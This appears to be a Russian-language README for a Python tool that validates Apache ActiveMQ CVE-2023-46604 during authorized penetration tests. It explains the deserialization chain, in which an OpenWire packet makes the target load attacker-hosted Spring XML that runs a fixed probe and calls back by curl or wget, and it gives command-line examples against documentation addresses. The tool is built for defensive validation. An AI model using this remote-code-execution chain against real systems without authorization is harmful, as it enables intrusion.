
Недestructive валидатор для Apache ActiveMQ CVE-2023-46604. Отправляет специально сформированные пакеты OpenWire, использует HTTP-сервер обратного вызова для подтверждения RCE или загрузки XML и генерирует доказательства в формате CSV/JSON для авторизованных тестов на проникновение.
Однофайловый, неразрушающий валидатор для Apache ActiveMQ CVE-2023-46604. Он запускает собственный HTTP-сервер обратного вызова, генерирует в памяти Spring XML, специфичный для каждой цели, отправляет сформированный OpenWire-пакет, сопоставляет обратные вызовы с уникальными токенами и записывает доказательства в CSV/JSON.
Проект предназначен для авторизованных пентестов и валидации парка систем. Он намеренно не реализует обратные оболочки, неограниченное выполнение команд, расширение CIDR, персистентность или подготовку полезной нагрузки.
Доступны два фиксированных режима доказательства:
rce выполняет фиксированный, доступный только для чтения зонд идентификации и возвращает его вывод на встроенный HTTP-сервер. Обратный вызов подтверждает выполнение команд операционной системы в контексте службы ActiveMQ.xml обслуживает пустой Spring-контекст. Получение подтверждает, что сформированное OpenWire-сообщение заставило цель инстанцировать ClassPathXmlApplicationContext и получить управляемый атакующим XML, без запуска процесса.Создавать или размещать отдельно XML-файлы не требуется.
--fail-on-vuln, удобный для CIПорт OpenWire по умолчанию — 61616, но поддерживаются и нестандартные порты.
В примерах используйте адреса только для документации; замените их на ваши авторизованные активы.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
Скрипт автоматически запускает сервер обратного вызова на TCP/8000, обслуживает сгенерированный XML, отправляет OpenWire-пакет, ожидает доказательства, выводит таблицу результатов и записывает:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Создайте targets.txt:
# Один явно авторизованный хост в строке
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Запустите:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Файлы с целями могут содержать пустые строки и комментарии, начинающиеся с #. Расширение CIDR намеренно не поддерживается; перечисляйте авторизованный инвентарь явно.
Для простых маршрутизируемых сетей опустите --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
Инструмент выбирает локальный исходный адрес, используемый для маршрутизации к первой цели. Указывайте --callback-host при тестировании через NAT, VPN, контейнеры, промежуточные хосты или системы с несколькими сетевыми интерфейсами.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
Зонд Windows использует фиксированную, неинтерактивную команду PowerShell для возврата идентичности службы, имени компьютера и версии ОС. Он не предоставляет интерактивную оболочку.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Этот режим не инстанцирует ProcessBuilder.
Используйте цель с ssl://:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Для внутреннего слушателя с ненадёжным сертификатом:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify влияет только на TLS-соединение OpenWire. Сервер обратного вызова — HTTP.
| Статус | Значение |
|---|---|
CONFIRMED_VULNERABLE_RCE | Цель получила свой XML, и фиксированная команда идентификации вернула доказательства. |
CONFIRMED_VULNERABLE_XML_LOAD | В режиме xml цель получила уникальный XML-документ. |
VULNERABLE_XML_LOAD_ONLY | В режиме rce получение XML произошло, но обратный вызов команды — нет. Подтверждён уязвимый путь инстанцирования класса; инструменты обратного вызова, исходящий трафик или выполнение процессов могут быть ограничены. |
NOT_CONFIRMED | Пакет отправлен, но до истечения срока не поступило коррелированных HTTP-доказательств. Это не является доказательством того, что хост пропатчен. |
UNREACHABLE | Соединение TCP/TLS или отправка пакета не удались. |
Пропатченный брокер, неверный порт, фильтрация исходящего трафика, проблемы маршрутизации, несоответствие TLS и средства контроля конечных точек — всё это может повлиять на валидацию на основе обратных вызовов. Сохраняйте временные метки CSV/JSON и вывод обратных вызовов как доказательства для отчёта.
Зонд идентификации Linux возвращает вывод, похожий на:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Для HTTP POST он пробует curl, wget и BusyBox wget. Если XML получен, но ни один из этих клиентов недоступен, результатом будет VULNERABLE_XML_LOAD_ONLY, а не ложный отрицательный результат.
0: валидация завершена, или уязвимости найдены без --fail-on-vuln2: найден хотя бы один уязвимый результат и был указан --fail-on-vulnПример использования в CI:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 затрагивает демаршализацию Java OpenWire. Валидатор отправляет слабо маршализованный OpenWire ExceptionResponse, класс исключения которого:
org.springframework.context.support.ClassPathXmlApplicationContext
Сообщение исключения — уникальный URL сгенерированного Spring XML. Уязвимый код ActiveMQ инстанцирует выбранный атакующим класс с этим URL. В режиме rce Spring-контекст запускает фиксированный зонд ProcessBuilder; в режиме xml контекст пуст.
Каждая цель получает разный токен, например:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Это позволяет сопоставлять одновременные обратные вызовы с правильной целью.